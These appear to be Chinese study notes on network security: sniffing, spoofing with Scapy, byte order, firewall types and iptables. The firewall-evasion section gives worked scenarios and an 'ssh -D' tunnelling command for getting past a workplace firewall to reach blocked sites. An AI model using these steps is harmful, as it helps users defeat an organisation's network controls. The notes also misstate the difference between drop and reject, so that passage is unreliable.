BPF 是什麼?
BSD資料包過濾器
當進行網路嗅探時,嗅探器經常只會對某些特定型別的資料包感興趣,如TCP資料包或者DNS資料包。 系統可以將所有捕獲到的資料包交給嗅探程式,嗅探程式會丟棄它不需要的資料包,但是這種處理方式效率低下,因為 把這些沒用的資料包從核心傳到嗅探程式是需要花費CPU時間的。
UNIX作業系統定義了BSD資料包過濾器(BSD packet filter, BPF),用於在底層實現資料包的過濾。BPF允許使用者 空間的程式將一個過濾器和一個套接字進行繫結,其本質上是為了告知核心儘早丟棄不需要的資料包。 過濾器一般是首先使用布林運算子編寫的可讀性較強的程式碼,隨後該程式碼被編譯成虛擬碼傳遞給BPF驅動。
位元組順序
位元組順序和處理器架構有關,和幾位作業系統無關 x86系列計算機都是小端序
小端位元組順序的計算機先寫最低位元組,大端是先寫最高位元組。
名字來由
來自《格列佛遊記》,吃雞蛋先敲大頭還是小頭。大端位元組意味著先從大的位元組開始儲存。
網路位元組序: 為了解決位元組順序不匹配的問題,IANA(Internet Assigned Numbers Authority,網際網路 數字分配機構)定義了一種名為網路位元組順序的位元組順序,這就要求計算機在將多個位元組資料寫入資料包時使用這種位元組 順序,而不是作業系統的位元組順序。這種位元組順序和大端位元組順序是相同的。
位元組序宏函式:為了方便網路位元組序和本機位元組序之間轉換,提供瞭如下宏函式,從而使得程式碼有可移植性。
宏函式 | 描述 |
---|---|
htons() | 把無符號短整數從本機位元組序轉網路位元組序 |
htonl() | 把無符號整數從本機位元組序轉網路位元組序 |
ntohs() | 把無符號短整數從網路位元組序轉本機位元組序 |
ntohl() | 把無符號整數從網路位元組序轉本機位元組序 |
網路卡如何接收資料?
網路卡 (NIC) 是連線機器和網路的物理或邏輯裝置。每張網路卡都有一個獨特的 MAC 地址,由 48 位二進位制數字組成。網路上的所有網路卡都能接收到線路上的所有資料幀。
當一個資料包到達時,網路卡會檢查它的目標 MAC 地址。如果目標 MAC 地址與該網路卡的 MAC 地址相匹配,那麼該資料包就會被複制到核心中的一個緩衝區。
如果不匹配,則資料包會被丟棄。 然而,當網路卡處於混雜模式時,它會將接收到的所有資料包都傳遞給核心,這使得網路嗅探成為可能。 在 Wi-Fi 中,混雜模式被稱為監控模式。
為了進一步控制哪些資料包會被傳遞到應用程式,可以使用 BSD 資料包過濾器 (BPF)。 BPF 允許使用者程式將過濾器附加到套接字,告訴核心丟棄不需要的資料包。 當核心接收到資料包時,BPF 會被呼叫,只有透過過濾器的包才會被推送到協議棧上。
PCAP 庫 提供了一個更易於使用的 API 來處理原始套接字和資料包過濾。 它允許程式設計師使用人類可讀的布林表示式指定過濾規則。 資料包嗅探 描述了捕獲網路中實時資料的過程。 在使用 PCAP API 進行資料包嗅探時,資料包引數包含資料包的副本,包括乙太網報頭。 然後可以訪問結構的欄位,例如 IP 報頭。
使用者空間、核心空間和網路卡
使用者空間和核心空間是作業系統的兩個獨立區域。使用者空間是使用者應用程式執行的地方,而核心空間是作業系統核心執行的地方,負責管理系統的硬體資源,包括網路卡。
網路卡 (NIC) 是計算機與網路之間的物理介面,負責傳送和接收資料包。網路卡工作在核心空間,因為它需要直接訪問硬體資源。當網路卡接收到一個資料包時,它會將其傳遞給核心。核心會根據資料包的目標地址和埠號等資訊,將其轉發給相應的應用程式,該應用程式執行在使用者空間。
BPF (BSD Packet Filter) 和 PCAP 庫 都可以用來捕獲和過濾網路資料包。BPF 允許使用者空間程式將過濾器附加到套接字,告訴核心丟棄不需要的資料包。PCAP 庫提供了一個更易於使用的 API 來處理原始套接字和資料包過濾。
混雜模式是一種特殊的網路卡工作模式,它允許網路卡接收所有網路流量,而不僅僅是發給它的資料包。這對於網路嗅探非常有用。 在 Wi-Fi 中,混雜模式被稱為監控模式。
資料包偽造是一種網路攻擊技術,攻擊者可以偽造資料包的源地址、目標地址等資訊,以欺騙網路裝置或應用程式。
總而言之,網路卡是連線使用者空間和核心空間的關鍵元件。網路卡工作在核心空間,負責接收和傳送資料包。核心會根據資料包的資訊,將其轉發給相應的應用程式,該應用程式執行在使用者空間。BPF 和 PCAP 庫可以用來捕獲和過濾網路資料包,而混雜模式可以用來接收所有網路流量。資料包偽造是一種網路攻擊技術,可以用來欺騙網路裝置或應用程式。
資料包嗅探 (sniffing)
資料包嗅探是指捕獲網路中實時資料的過程。簡而言之,它就像在網路中放置一個“監聽器”,監聽所有經過的資料包。
為了實現資料包嗅探,需要網路卡工作在混雜模式下。在正常模式下,網路卡只接收目標 MAC 地址與自身 MAC 地址匹配的資料包。而在混雜模式下,網路卡會接收所有經過的資料包,無論目標 MAC 地址是什麼。在 Wi-Fi 中,混雜模式被稱為監控模式。
捕獲資料包後,可以使用 BPF (BSD Packet Filter) 進行過濾。BPF 允許使用者程式將過濾器附加到套接字,告訴核心只保留符合特定條件的資料包,例如特定協議、源地址或目標地址的資料包。
PCAP 庫 提供了一個更易於使用的 API 來處理原始套接字和資料包過濾。它在內部使用原始套接字,但其 API 在所有平臺上都是標準的,並允許程式設計師使用人類可讀的布林表示式指定過濾規則。
透過分析捕獲的資料包,可以獲取各種資訊,例如:
-
網路流量模式
-
使用者行為
-
敏感資料,例如使用者名稱、密碼等
因此,資料包嗅探可以用於各種目的,例如:
-
網路監控和故障排除
-
安全審計
-
入侵檢測
-
網路攻擊
但是,資料包嗅探也可能被用於惡意目的,例如竊取敏感資訊。因此,在進行資料包嗅探時,務必遵守相關的法律法規和道德規範。
原始套接字和套接字
原始套接字和普通套接字的區別
普通套接字當核心接收到資料包時,它會透過網路協議棧傳遞資料包,並最終將資料包的載荷(payload)透過socket傳遞 給應用程式。 對於原始套接字,核心首先會向socket(和它的應用)傳遞資料包的一份複製,包括鏈路層頭部等資訊,然後再進一步將資料 包傳遞給協議棧。raw socket不會攔截資料包,只是得到了資料包的一份複製。
PCAP 庫的定義和必要性
PCAP(Packet Capture)庫是一個用於捕獲和分析網路流量的應用程式程式設計介面(API)。它提供了一個跨平臺的標準介面,用於訪問和處理網路資料包。
PCAP 庫的必要性源於直接使用原始套接字進行資料包捕獲的侷限性。雖然原始套接字允許程式直接訪問網路層協議,但這種方法存在以下缺陷:
-
程式不可移植: 使用原始套接字編寫的程式難以在不同作業系統之間移植。
-
設定過濾器困難: 使用原始套接字設定資料包過濾器較為複雜。
-
缺乏效能最佳化: 原始套接字程式設計通常缺乏效能最佳化,效率較低。
PCAP 庫的出現解決了這些問題。它在內部仍然使用原始套接字,但透過提供一個統一的 API,隱藏了不同作業系統之間的差異,使程式更易於移植。同時,PCAP 庫提供了使用人類可讀的布林表示式來指定過濾規則的功能,簡化了資料包過濾的設定。
此外,PCAP 庫還提供了一些效能最佳化,例如使用BPF (BSD Packet Filter) 進行高效的資料包過濾。
PCAP 庫被廣泛應用於各種網路工具和應用程式中,例如:
-
網路嗅探器: 用於捕獲和分析網路流量,例如 Wireshark 和 tcpdump。
-
入侵檢測系統: 用於檢測和阻止網路攻擊。
-
網路效能分析工具: 用於分析網路流量,識別效能瓶頸。
總而言之,PCAP 庫提供了一種強大、靈活且易於使用的方式來捕獲和分析網路流量,克服了使用原始套接字方法的侷限性。它已成為網路安全和網路管理領域不可或缺的工具。
資料包偽造 (Spoofing)
資料包偽造是指在資料包中的一些關鍵資訊被篡改,例如源地址、目標地址等,以欺騙網路裝置或應用程式的行為。許多網路攻擊都依賴於資料包偽造,例如 ARP 欺騙、DNS 欺騙等。
資料包偽造的步驟
資料包偽造主要分為兩個步驟:
-
構建資料包: 攻擊者需要根據目標協議和攻擊目的,構建一個包含偽造資訊的自定義資料包。例如,如果要偽造 UDP 資料包,則需要構建一個包含 UDP 報頭的自定義資料包,並在 UDP 報頭中填寫偽造的源埠號、目標埠號等資訊。
-
傳送資料包: 構建好資料包後,攻擊者需要使用原始套接字將資料包傳送到目標網路裝置或應用程式。
使用原始套接字進行資料包偽造
原始套接字是一種特殊的套接字型別,它允許使用者程式直接訪問網路層協議,例如 IP 協議。 使用原始套接字,攻擊者可以構建和傳送自定義的 IP 資料包,並在資料包中填寫偽造的資訊。
由於原始套接字程式設計比較複雜,因此可以使用 Scapy 等工具來簡化資料包的構建和傳送過程。 Scapy 是一個基於 Python 的資料包操作庫,它可以方便地構建、傳送、接收、分析和偽造網路資料包。
資料包偽造的應用
資料包偽造可以用於各種網路攻擊,例如:
-
拒絕服務攻擊 (DoS): 攻擊者可以偽造大量的資料包,並將這些資料包傳送到目標伺服器,從而導致伺服器癱瘓。
-
中間人攻擊 (MITM): 攻擊者可以偽造資料包,攔截客戶端和伺服器之間的通訊,從而竊取敏感資訊或篡改通訊內容。
-
ARP 欺騙: 攻擊者可以偽造 ARP 資料包,將自己的 MAC 地址與目標 IP 地址繫結,從而攔截目標裝置的網路流量。
防範資料包偽造
為了防範資料包偽造攻擊,可以採取以下措施:
-
使用防火牆: 防火牆可以根據資料包的源地址、目標地址、埠號等資訊,過濾掉可疑的資料包。
-
使用入侵檢測系統 (IDS): IDS 可以檢測網路中的異常流量,併發出警報。
-
使用安全協議: 例如,使用 HTTPS 協議可以加密通訊內容,防止中間人攻擊。
-
對網路裝置進行安全配置: 例如,配置路由器以防止 ARP 欺騙。
嗅探然後偽造
在許多情況下,我們需要先捕獲資料包,然後根據捕獲的資料包偽造響應。
使用 UDP 作為例子的步驟
-
使用 PCAP API 捕獲感興趣的資料包。
-
從捕獲的資料包中建立一個副本。
-
將 UDP 資料欄位替換為新訊息,並交換源欄位和目標欄位。
-
傳送偽造的回覆。
使用 Scapy 進行資料包嗅探和偽造
Scapy 是一個強大的基於 Python 的資料包操作庫,它可以輕鬆構建、傳送、接收、分析和偽造網路資料包。使用 Scapy,您可以執行以下操作:
-
嗅探和捕獲特定型別的資料包,例如 UDP 資料包。
-
從捕獲的資料包中提取資訊,例如源 IP 地址、目標 IP 地址、源埠號和目標埠號。
-
使用提取的資訊構建新的資料包,並在其中新增自定義訊息或修改現有欄位。
-
將偽造的資料包傳送到目標裝置。
Scapy 與 C 語言在資料包偽造方面的比較
-
Python + Scapy
-
優點:構建資料包非常簡單。
-
缺點:比 C 程式碼慢得多。
-
-
C 程式(使用原始套接字)
-
優點:速度快得多。
-
缺點:構建資料包很複雜。
-
-
混合方法
-
使用 Scapy 構建資料包。
-
使用 C 語言稍微修改資料包,然後傳送資料包。
-
位元組序
位元組序是指多位元組資料項在記憶體中儲存的順序。
-
小端序:將資料的最高有效位元組儲存在最高地址。
-
大端序:將資料的最高有效位元組儲存在最低地址。
網路通訊中的位元組序
-
具有不同位元組序的計算機將“誤解”彼此。
-
解決方案:就通訊的共同順序達成一致。
-
這被稱為“網路位元組序”,它與大端序相同。
-
-
所有計算機都需要在“主機位元組序”和“網路位元組序”之間轉換資料。
使用Scapy進行資料包嗅探
Scapy是一個強大的基於Python的資料包操作庫,可以輕鬆構建、傳送、接收、分析和偽造網路資料包。
雖然您提供的資料中沒有明確說明如何使用Scapy進行資料包嗅探,但基於Scapy的功能和資料包嗅探的步驟,我們可以推測出以下步驟:
-
匯入Scapy庫: 在Python指令碼中匯入Scapy庫。
-
定義嗅探過濾器: 使用BPF語法或Scapy的過濾函式定義要捕獲的資料包型別,例如,只捕獲UDP資料包。
-
指定網路介面: 選擇要嗅探資料包的網路介面,例如eth0或wlan0。
-
開始嗅探: 使用Scapy的sniff函式開始捕獲資料包,並將捕獲的資料包儲存在列表或其他資料結構中。
-
處理捕獲的資料包: 可以使用Scapy的各種函式分析和處理捕獲的資料包,例如,提取源IP地址、目標IP地址、埠號等資訊。
示例程式碼:
from scapy.all import *
# 定義過濾器,只捕獲UDP資料包
filter_expression = "udp"
# 指定網路介面
interface = "eth0"
# 開始嗅探資料包,並將捕獲的資料包儲存在packets列表中
packets = sniff(iface=interface, filter=filter_expression)
# 處理捕獲的資料包
for packet in packets:
# 列印資料包的摘要資訊
print(packet.show())
注意: 這段程式碼只是一個示例,實際使用時需要根據具體需求進行修改。
Scapy的優勢:
-
使用Python編寫,語法簡單易懂。
-
提供豐富的函式庫,可以方便地構建、傳送、接收、分析和偽造各種網路資料包。
-
跨平臺支援,可以在Windows、Linux和macOS等作業系統上執行。
Scapy的劣勢:
-
效能相對較低,不適合處理高速網路流量。
總結:
Scapy是一個功能強大的資料包操作工具,可以用於各種網路安全研究和測試。 使用Scapy進行資料包嗅探可以方便地捕獲和分析網路流量,併為進一步的資料包偽造提供基礎。
Pcap過濾器例項
dst host 10.0.2.5 只捕獲目的ip地址為10.0.2.5的資料包 src host 10.0.2.6 只捕獲源ip地址為10.0.2.6的資料包 host 10.0.2.6 and src host port 9090 只捕獲源或目的ip地址為10.0.2.6,並且源埠號為9090的資料包 proto tcp 只捕獲TCP資料包
路由跟蹤traceroute
traceroute是用來檢測發出資料包的主機到目標主機之間所經過的閘道器數量的工具。 traceroute的原理是試圖以最小的TTL(存活時間)發出探測包來跟蹤資料包到達目標主機所經過的閘道器, 然後監聽一個來自閘道器ICMP的應答。傳送資料包的大小預設為38個位元組。
Traceroute程式完整過程
首先它傳送一份TTL欄位為1的IP資料包給目的主機,處理這個資料包的第一個路由器將TTL值減1, 然後丟棄該資料包,並給源主機傳送一個ICMP報文(“超時”資訊,這個報文包含了路由器的IP地址,這樣就得到了第一個路由器的地址), 然後traceroute傳送一個TTL為2的資料包來得到第二個路由器的IP地址,繼續這個過程,直至這個資料包到達目的主機。
如何檢查你的 CPU 是大端序還是小端序?
位元組序是指多位元組資料(例如整數)在計算機記憶體中儲存的順序。 大端序將資料的最高有效位元組儲存在最低地址,而小端序將資料的最高有效位元組儲存在最高地址。
為了確定 CPU 使用的是大端序還是小端序,您可以使用聯合體和 C 程式碼。以下程式碼片段說明了這種方法:
int checkCPU() {
union w {
int a;
char b;
} c;
c.a = 1;
return (c.b == 1);
}
程式碼解釋:
-
聯合體: 程式碼使用一個名為
w
的聯合體。聯合體是一種特殊的資料型別,允許在相同的記憶體位置儲存不同型別的資料。 在這種情況下,聯合體w
包含一個整數a
和一個字元b
。 -
賦值: 程式碼將整數
1
賦值給聯合體成員c.a
。 由於整數通常佔用多個位元組(例如 4 位元組),而字元只佔用 1 個位元組,因此聯合體的所有成員共享相同的記憶體位置。 -
比較: 程式碼比較聯合體成員
c.b
的值是否等於1
。
結果分析:
-
如果
c.b == 1
,則 CPU 使用小端序。 這是因為在小端序機器中,整數1
的最低有效位元組(值為 1)儲存在最低地址,而該地址也被字元b
佔用。 -
如果
c.b != 1
,則 CPU 使用大端序。 這是因為在大端序機器中,整數1
的最高有效位元組(值為 0)儲存在最低地址,而該地址也被字元b
佔用。
在大端序和小端序中,整數 1
的 16 進位制儲存形式是不同的。假設 int
型別佔用 4 位元組(32 位),整數 1
的 16 進製表示是 0x00000001
。
1. 大端序中的 16 進製表示
在 大端序(Big Endian)中,高位位元組儲存在低地址,低位位元組儲存在高地址。因此,整數 1
在記憶體中的儲存順序如下:
地址: [低地址] ---------> [高地址]
內容: 0x00 0x00 0x00 0x01
所以在大端序中,1
的 16 進製表示為:
0x00 0x00 0x00 0x01
2. 小端序中的 16 進製表示
在 小端序(Little Endian)中,低位位元組儲存在低地址,高位位元組儲存在高地址。因此,整數 1
在記憶體中的儲存順序如下:
地址: [低地址] ---------> [高地址]
內容: 0x01 0x00 0x00 0x00
所以在小端序中,1
的 16 進製表示為:
0x01 0x00 0x00 0x00
總結對比
位元組序型別 | 記憶體儲存順序(16 進製表示) |
---|---|
大端序 | 0x00 0x00 0x00 0x01 |
小端序 | 0x01 0x00 0x00 0x00 |
總結:
在網路通訊中,位元組序是一個重要問題,因為不同位元組序的計算機可能會“誤解”彼此的資料2。
為了解決這個問題,網路通訊協議採用了一種共同的位元組序,稱為網路位元組序,它與大端序相同2。
因此,所有計算機都需要在主機位元組序(CPU 使用的位元組序)和網路位元組序之間轉換資料2。
例如,如果一臺小端序計算機要向一臺大端序計算機傳送一個整數,它需要先將整數轉換為網路位元組序(大端序),然後再傳送。 接收方收到資料後,需要將其從網路位元組序轉換回主機位元組序(小端序)。
這樣做可以確保所有計算機都能正確地解釋資料,無論其 CPU 使用的是哪種位元組序。
Problems & Discussions • An integer 0xAABBCCDD is stored in a memory address starting from 0x1000. If the machine is a Big-Endian machine, what is the value stored in addresses 0x1000, 0x1001, 0x1002, and 0x1003, respectively? If the machine is a Little-Endian machine, how is this integer stored?大端序和小端序機器中的整數儲存
在大端序機器中,最高有效位元組儲存在最低地址。 因此,整數 0xAABBCCDD 將按以下方式儲存:
-
0x1000: AA
-
0x1001: BB
-
0x1002: CC
-
0x1003: DD
在小端序機器中,最低有效位元組儲存在最低地址。 因此,整數 0xAABBCCDD 將按以下方式儲存:
-
0x1000: DD
-
0x1001: CC
-
0x1002: BB
-
0x1003: AA
在網路通訊中,為了避免不同位元組序的計算機之間出現“誤解”,會使用網路位元組序,它與大端序相同。 所有計算機都需要在主機位元組序和網路位元組序之間轉換資料。
網路層安全
什麼是IP以及為什麼需要IP?
IP協議是TCP/IP協議簇的核心協議,它提供最基本的資料傳輸服務,是實現網路互聯的基礎協議。
為什麼需要IP?
-
遮蔽底層差異: IP層透過IP地址實現了實體地址的統一,並透過IP資料包實現了物理資料幀的統一,從而遮蔽了底層網路的差異。 這就好比一個通用的翻譯器,可以讓使用不同語言的人們互相理解。
-
實現網路互聯: IP協議是實現不同網路之間互聯的基礎,使得資料可以在不同型別的網路之間進行傳輸。
-
不保證可靠性: IP協議本身不保證傳輸的可靠性,也不對資料進行差錯校驗和跟蹤。當資料包發生 損壞時不向傳送方通告。可靠傳輸由更上層的協議(如TCP)負責。
-
IP協議報文格式與封裝: IP協議使用特定的報文格式和封裝方式來傳輸資料。。
總之,IP協議就像網路世界中的“郵政系統”,它負責將資料包從一個地方傳遞到另一個地方,但它並不保證郵件一定會送達或者郵件的內容是完好無損的。
IP 防火牆技術詳
IP 防火牆技術是網路安全的重要組成部分,用於保護網路免受未經授權的訪問和攻擊。
防火牆的功能:
-
作為計算機系統或網路的一部分,用於阻止未經授權的流量從一個網路流向另一個網路。
-
隔離網路中可信和不可信的元件。
-
區分可信網路內的網路。
-
主要功能是過濾資料、重定向流量和防禦網路攻擊。
防火牆的要求:
-
所有信任區域之間的流量都必須透過防火牆。
-
只有安全策略定義的授權流量才允許透過。
-
防火牆本身必須不受滲透,這意味著要使用具有安全作業系統的加固系統。
防火牆策略:
-
使用者控制:根據嘗試訪問資料的使用者角色控制對資料的訪問。 應用於防火牆邊界內的使用者。
-
服務控制:透過主機提供的服務型別控制訪問。 基於網路地址、連線協議和埠號進行應用。
服務控制是指根據訪問的“服務型別”來決定是否允許訪問。防火牆會依據網路地址(使用者所在的網路)、連線協議(如TCP或UDP)以及埠號(表示具體服務)來判斷是否允許訪問。例如,防火牆可以設定規則,讓某些裝置只能訪問特定埠,阻止其他未授權的連線。這種控制方式有助於限制只能透過安全的服務來訪問網路資源,防止未經允許的服務接入。
-
方向控制:確定可以啟動請求並允許其流經防火牆的方向。 它指示流量是“入站”(從網路到防火牆)還是反之亦然“出站”。
防火牆操作:
-
接受:允許透過防火牆進入連線的網路/主機。
-
拒絕:不允許進入防火牆的另一側。
-
丟棄:類似於拒絕,但透過 ICMP 資料包告知源此決定。
-
入站過濾:檢查傳入流量以保護內部網路並防止來自外部的攻擊。
-
出站過濾:檢查傳出流量並防止內部網路中的使用者訪問外部網路,例如阻止學校中的社交網站。
防火牆型別:
根據操作模式,防火牆分為三種型別:
-
包過濾防火牆: 僅根據資料包頭中的資訊控制流量,而不檢視包含應用程式資料的有效負載。 不關注資料包是否是現有流或流量的一部分,也不維護有關資料包的狀態。 也稱為無狀態防火牆。
-
特點:
-
基於OSI模型的網路層(第三層)操作。
-
透過檢查資料包的源地址、目的地址、埠號、協議等資訊來決定是否放行資料包。
-
無法檢測應用層的內容,只關注每個資料包的基本資訊。
-
配置簡單,但提供的安全性較低,容易受到較高階別的攻擊(如應用層攻擊)。
連線過程舉例: 假設一個使用者裝置向伺服器發出一個HTTP請求,資料包過濾器會檢查這個請求的資料包是否符合規則,比如源IP和目標IP、源埠和目標埠是否允許透過。如果規則允許,則資料包會被放行;否則資料包會被丟棄。
優缺點:
-
優點:速度快,對效能影響較小,適合低延遲的環境。
-
缺點:安全性較低,無法深入檢查資料內容,只能過濾基本資訊。
-
-
狀態防火牆: 透過監控所有連線互動直到其關閉來跟蹤流量狀態。 維護連線狀態表以瞭解資料包的上下文。 例如,僅允許透過持有開啟連線的埠進行連線。
-
特點:
-
基於OSI模型的網路層和傳輸層(第四層)操作。
-
記錄資料包的“狀態”,維護一個“連線狀態表”,跟蹤每個會話的狀態(如建立、傳輸中、關閉)。
-
在檢查資料包的基礎資訊的同時,還檢查會話的上下文,以確保資料包屬於一個合法的會話。
-
比資料包過濾器更智慧,能防止偽裝攻擊(如TCP偽造)。
連線過程舉例: 當一個使用者裝置向伺服器發起TCP連線請求(如HTTP請求),狀態防火牆會首先檢查TCP連線的初始握手過程(三次握手),記錄這個連線的狀態。後續的資料包會匹配這個連線狀態,確保都是合法會話的一部分。如果檢測到資料包不符合連線狀態(如缺少握手過程),則會拒絕連線。
優缺點:
-
優點:能識別並追蹤會話,提供更高的安全性,能抵禦偽造攻擊。
-
缺點:比資料包過濾器略慢,佔用更多記憶體來記錄會話狀態,適合對安全要求較高的環境。
-
-
應用/代理防火牆: 控制來自/到應用程式或服務的輸入、輸出和訪問。 透過模擬目標接收者充當中間人。 客戶端的連線在代理處終止,並從代理到目標主機啟動一個單獨的連線。 連線上的資料將被分析到應用層,以確定是否應該傳遞資料包。
-
特點:
-
基於OSI模型的應用層(第七層)操作。
-
深入檢查應用層的資料內容,如HTTP請求的URL、電子郵件的內容等。
-
能夠識別和控制特定應用(如HTTP、FTP、SMTP等)的流量,並檢測和過濾應用層的惡意行為。
-
提供最高階別的安全性,適合防範SQL隱碼攻擊、XSS等應用層攻擊。
連線過程舉例: 當使用者透過瀏覽器向伺服器發出HTTP請求時,應用防火牆不僅會檢查資料包的基本資訊,還會深入解析HTTP請求,檢查URL和請求內容。如果請求內容包含惡意程式碼(如SQL隱碼攻擊或跨站指令碼攻擊的程式碼),應用防火牆會阻止請求進入,保護伺服器。
優缺點:
-
優點:安全性最高,能檢測應用層的惡意內容,適合保護Web應用。
-
缺點:處理過程複雜,效能消耗較大,可能會影響傳輸速度。
-
從容易受到攻擊的角度來看,不同型別的防火牆因其工作層級和檢查深度的差異,對某些攻擊的防禦能力有所不同。以下是三種防火牆容易受到的攻擊型別及原因。
1. 資料包過濾器(Packet Filtering Firewall)
容易受到的攻擊:
-
IP 欺騙(IP Spoofing):資料包過濾器只檢查源和目標IP地址等基礎資訊,無法識別IP地址是否被偽造。攻擊者可以透過偽造合法IP地址的方式騙過防火牆,使其放行偽造的資料包。
-
分片攻擊(Fragmentation Attacks):在一些情況下,資料包可以被分片傳送,而資料包過濾器可能會放行這些分片資料包,但無法重組並驗證完整資料包是否安全,這讓攻擊者可能透過特定的分片方式隱藏惡意資料。
-
埠掃描(Port Scanning):資料包過濾器無法檢測連線的上下文和狀態,攻擊者可以透過埠掃描來探測開放的埠,獲得網路中活躍裝置的服務資訊,從而為後續攻擊提供線索。
-
應用層攻擊(如SQL隱碼攻擊、XSS等):資料包過濾器工作在網路層,對應用層的資料內容不進行檢查,因此無法防禦SQL隱碼攻擊、跨站指令碼(XSS)等高階應用層攻擊。
總結:資料包過濾器的防護能力較弱,尤其是針對複雜的應用層攻擊和偽造攻擊,容易被繞過。
2. 狀態防火牆(Stateful Inspection Firewall)
容易受到的攻擊:
-
拒絕服務攻擊(DoS/DDoS):狀態防火牆會追蹤連線的狀態,並維護一個連線狀態表。在拒絕服務攻擊中,攻擊者可以傳送大量偽造的連線請求,消耗防火牆的記憶體和處理資源,導致連線狀態表被填滿,從而使合法連線無法進入。
-
中間人攻擊(Man-in-the-Middle, MITM):狀態防火牆能夠追蹤會話狀態,但並不檢查資料包的內容。攻擊者可以透過劫持連線會話,在會話中植入惡意資料,狀態防火牆可能會認為資料合法並放行,導致資料洩露或被篡改。
-
TCP會話劫持(TCP Session Hijacking):攻擊者可以在建立會話後截獲TCP會話並偽造資料。狀態防火牆會認為這些偽造的資料包屬於已有會話,因此可能放行,從而給攻擊者提供了會話控制權。
總結:狀態防火牆比資料包過濾器更安全,但在面對DDoS攻擊、會話劫持等連線層面上的攻擊仍有不足。
3. 應用防火牆(Application Firewall)
容易受到的攻擊:
-
加密流量攻擊:應用防火牆通常依賴於明文資料進行深層檢查。如果攻擊者透過加密的流量傳輸惡意程式碼(如透過HTTPS加密的惡意流量),應用防火牆可能無法檢測到內容中的潛在威脅。
-
零日攻擊(Zero-Day Attack):應用防火牆依賴於已知的攻擊模式或簽名進行檢測,無法識別從未出現過的新型攻擊。攻擊者透過未知的漏洞發起零日攻擊時,應用防火牆可能無法有效防禦。
-
效能耗盡攻擊:應用防火牆因為需要深度檢查應用層的資料,效能消耗較大,容易受到針對性效能耗盡攻擊。例如,透過傳送大量複雜的HTTP請求,攻擊者可以使應用防火牆過載,從而影響網路效能。
-
惡意重定向和繞過:攻擊者可能利用協議漏洞或應用邏輯,偽裝成合法流量或利用繞過機制,使應用防火牆難以識別並阻止。例如,某些繞過技術可以讓惡意資料偽裝成普通請求透過應用防火牆的檢查。
總結:應用防火牆在應用層檢查上具有更強的防護能力,但面對加密流量、零日攻擊和耗盡資源攻擊時仍存在不足。
總結對比
防火牆型別 | 容易受到的攻擊型別 | 原因 |
---|---|---|
資料包過濾器 | IP欺騙、分片攻擊、埠掃描、應用層攻擊 | 只檢查基本資訊,缺乏狀態追蹤和內容檢查 |
狀態防火牆 | DDoS攻擊、中間人攻擊、TCP會話劫持 | 跟蹤會話但不檢查資料內容,易受偽造攻擊 |
應用防火牆 | 加密流量攻擊、零日攻擊、效能耗盡攻擊、惡意繞過 | 深層檢查耗資源,對新型及加密攻擊無防護 |
不同型別的防火牆適合應對不同的威脅,結合使用多層防護措施可以提升網路整體安全性。
規避防火牆的方法
-
SSH 隧道: SSH 隧道可以在您的計算機和外部伺服器之間建立一個加密通道,防火牆無法看到該通道中的流量,因此無法對其進行過濾。您可以使用 SSH 隧道訪問被防火牆阻止的網站或服務。
-
示例場景:假設您在公司工作,需要遠端登入到名為“work”的機器。但公司的防火牆阻止了所有傳入流量,使您無法在家中透過telnet連線到“work”。不過,公司的防火牆允許SSH流量到達其內部機器“apollo”,您在該機器上擁有一個帳戶。在這種情況下,您可以利用這臺機器來規避防火牆。
-
在“home”和“apollo”之間建立一個SSH隧道。
-
在“home”端,隧道接收來自telnet客戶端的TCP資料包。
-
它將TCP資料轉發到“apollo”端,然後資料被封裝在另一個TCP資料包中,傳送到機器“work”。
-
防火牆只能看到“home”和“apollo”之間的流量,而看不到“apollo”和“work”之間的流量,從而實現規避防火牆的目的。
-
-
示例場景:假設您在公司工作,在名為“work”的機器上工作。您想訪問Facebook,但公司為了防止員工分心,遮蔽了Facebook。您可以使用外部機器“home”來繞過這樣的防火牆。
-
從“work”到“home”建立一個ssh隧道。
-
建立隧道後,您可以在瀏覽器中輸入“localhost:8000”。
-
隧道將透過“home”將您的HTTP請求轉發到Facebook。
-
防火牆只能看到“work”和“home”之間的ssh流量,而看不到“work”和“Facebook”之間的實際網路流量,從而實現規避防火牆的目的。
-
-
-
動態埠轉發: 動態埠轉發是一種 SSH 隧道技術,它可以將您的所有流量轉發到外部伺服器。這就像使用代理伺服器一樣,可以隱藏您的真實 IP 地址,從而繞過防火牆的限制。
-
示例場景:使用以下命令在本地主機(埠9000)和機器“home”之間建立一個SSH隧道。這裡我們沒有指定埠轉發的目的地。
ssh -D 9000 user@home
-
將瀏覽器配置為所有請求都透過
localhost:9000
,將其視為代理。 -
配置好瀏覽器後,您可以輸入任何被阻止網站的URL,它將連線到本地主機埠9000上的ssh代理。
-
ssh會透過隧道將TCP資料傳送到機器“home”,然後“home”會與被阻止的網站進行通訊。
-
-
使用VPN規避防火牆: 使用VPN可以在網路內部的計算機和外部的計算機之間建立隧道。可以透過此隧道傳送IP資料包。由於隧道流量已加密,因此防火牆無法看到此隧道內的內容,也無法進行過濾。
-
請注意,以上資訊僅來自您提供的資料。VPN的具體實現和效果可能因供應商和配置而異。
-
-
使用 Web 代理: Web 代理可以作為您和目標伺服器之間的中介,隱藏您的真實 IP 地址。防火牆只能看到您和代理伺服器之間的流量,而看不到代理伺服器和目標伺服器之間的流量。一些 Web 代理還可以提供匿名化服務,進一步提高您的隱私和安全性。
-
示例場景: 如果防火牆根據目標地址進行資料包過濾,您可以透過使用 Web 代理瀏覽 Internet 來規避此防火牆。目標地址將被修改為代理伺服器,從而繞過防火牆的資料包過濾規則。
-
匿名代理:您還可以使用代理來隱藏伺服器的網路請求來源。由於伺服器只能在流量透過代理後才能看到流量,因此源 IP 將是代理的 IP,實際來源將被隱藏。
-
用iptables實現一個防火牆
Linux自帶的iptables防火牆也是基於Netfilter的。該防火牆在核心中的部分叫做xtables,而iptables是使用者空間用來 設定防火牆的程式。 然而,iptables經常作為核心部分和使用者空間部分兩者的統稱。
iptables防火牆的結構
iptables防火牆不僅可以用來過濾資料包,還可以修改資料包。為了方便管理,iptables使用表和鏈來管理不同用途的防火牆規則。 iptables主要有5個表:filter、nat、mangle、raw和security。
表的用途
過濾資料包規則放在filter 修改資料包規則放在nat或mangle 只修改源和目的地址的規則放在nat表中,其他放在mangle
每個表中有若干個鏈,每個鏈對應一個Netfilter的鉤子
iptables修改防火牆規則
實驗目標是使所有資料包的生存時間TTL增大5 修改前TCP包TTL是64
修改TTL
修改後ttl時間變成69
-t mangle,修改資料包,用mangle表 -A POSTROUTING,附加到POSTROUTING鏈上
搭建一個簡單的防火牆
實驗目的是丟棄除80埠和22埠之外的所有資料包
Note
iptables命令中如果沒有用-t選項選擇一個具體的表,則預設選擇的是filter表
